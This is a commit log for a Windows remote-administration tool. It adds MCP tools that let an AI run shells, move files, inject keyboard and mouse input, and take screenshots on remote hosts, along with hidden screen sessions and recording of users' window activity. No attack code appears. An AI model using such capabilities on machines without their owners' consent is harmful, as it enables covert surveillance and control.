59 Commits

Author SHA1 Message Date
yuanyuanxiang
b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxiang
6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxiang
5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxiang
ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxiang
52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxiang
35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxiang
d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxiang
d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxiang
25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxiang
18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxiang
f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxiang
c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxiang
09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxiang
6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxiang
84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxiang
70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
yuanyuanxiang
0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxiang
8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxiang
8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxiang
8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang
d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiang
11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxiang
0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxiang
c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxiang
5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxiang
c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxiang
61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxiang
bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxiang
6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxiang
86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxiang
13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxiang
43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxiang
29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxiang
d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxiang
9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxiang
2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiang
c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiang
7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiang
eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiang
7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
yuanyuanxiang
d99510e46d Release v1.3.8 2026-08-03 18:30:40 +02:00
yuanyuanxiang
b97f086c0c Feature: Add log search bar with prev/next/clear for m_CList_Message
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-16 00:10:12 +02:00
yuanyuanxiang
f24e7acc48 Fix: Switching between 32bits and 64bits causes master crash 2026-07-14 22:32:29 +02:00
yuanyuanxiang
0cd7516bde Improve: Save user customized remote desktop cursor settings to registry 2026-07-14 21:38:21 +02:00
yuanyuanxiang
a646e0417d Feature: Support to forbidden the user in violation of rules 2026-07-14 15:17:31 +02:00
yuanyuanxiang
23c9a4f242 Feature: add client log dialog with auto-refresh, icon and menu bitmap
- CClientLogManager: push thread sends incremental logs every 3s; join() instead of detach() prevents use-after-free on shutdown
- CClientLog::OnReceiveComplete: handles TOKEN_REPORT_LOG on IOCP thread via PostMessage, fixing incremental packets being silently dropped
- Dialog icon (ClientLog.ico) and menu bitmap (ClientLog.bmp) added; OnInitDialog loads icon; IDR_MENU_LIST_ONLINE "运行日志" item gets the bitmap

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-13 19:02:25 +02:00
yuanyuanxiang
85a5774a0f Feature: Add a menu to input YAMA_DBG which allows debugging 2026-07-11 22:59:51 +02:00
yuanyuanxiang
f2a95848ce Feature: Add a "View Windows" menu for remote desktop control 2026-07-11 18:05:25 +02:00
yuanyuanxiang
f146af121a Fix: prevent mobile web remote desktop freeze on Safari app-switch
by forcing clean WS reconnect on foreground return;

add 30-second grace period on server to avoid cold-start on quick reconnects
2026-07-10 16:08:02 +02:00
yuanyuanxiang
72dcdc5a6f Fix: RunFileReceiver must not register ReconnectProcess
to avoid killing the main screen session on file transfer completion
2026-07-07 16:30:27 +02:00
yuanyuanxiang
8e170cf971 Fix: toggle privacy wallpaper menu item to clear instead of re-picking when already set 2026-07-03 20:57:54 +02:00
yuanyuanxiang
6d0b1bb07b Feat: Add privilege column (SYSTEM/Admin/User) to online host list 2026-07-01 09:32:28 +02:00
yuanyuanxiang
bcccbefb77 Feature: Client running as SYSTEM and support remote control 2026-06-29 22:49:30 +02:00
yuanyuanxiang
92f6683fe1 Release v1.3.7 2026-06-26 15:28:57 +02:00
yuanyuanxiang
d7408ad4df Feat: Client build dialog support building Android application 2026-06-25 17:48:45 +02:00
yuanyuanxiang
5296e534ed Fix: Android client stops service when server sends BYE (delete client)
ConnectionThread now calls CaptureService.onNativeExit() via JNI on exit
when g_bExit == S_CLIENT_EXIT (server-initiated). The Java side posts
stopSelf() on the service handler. Guard: instance is null in the
user-initiated teardown path (onDestroy nulls it before nativeStop),
so onNativeExit is a no-op in that case.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
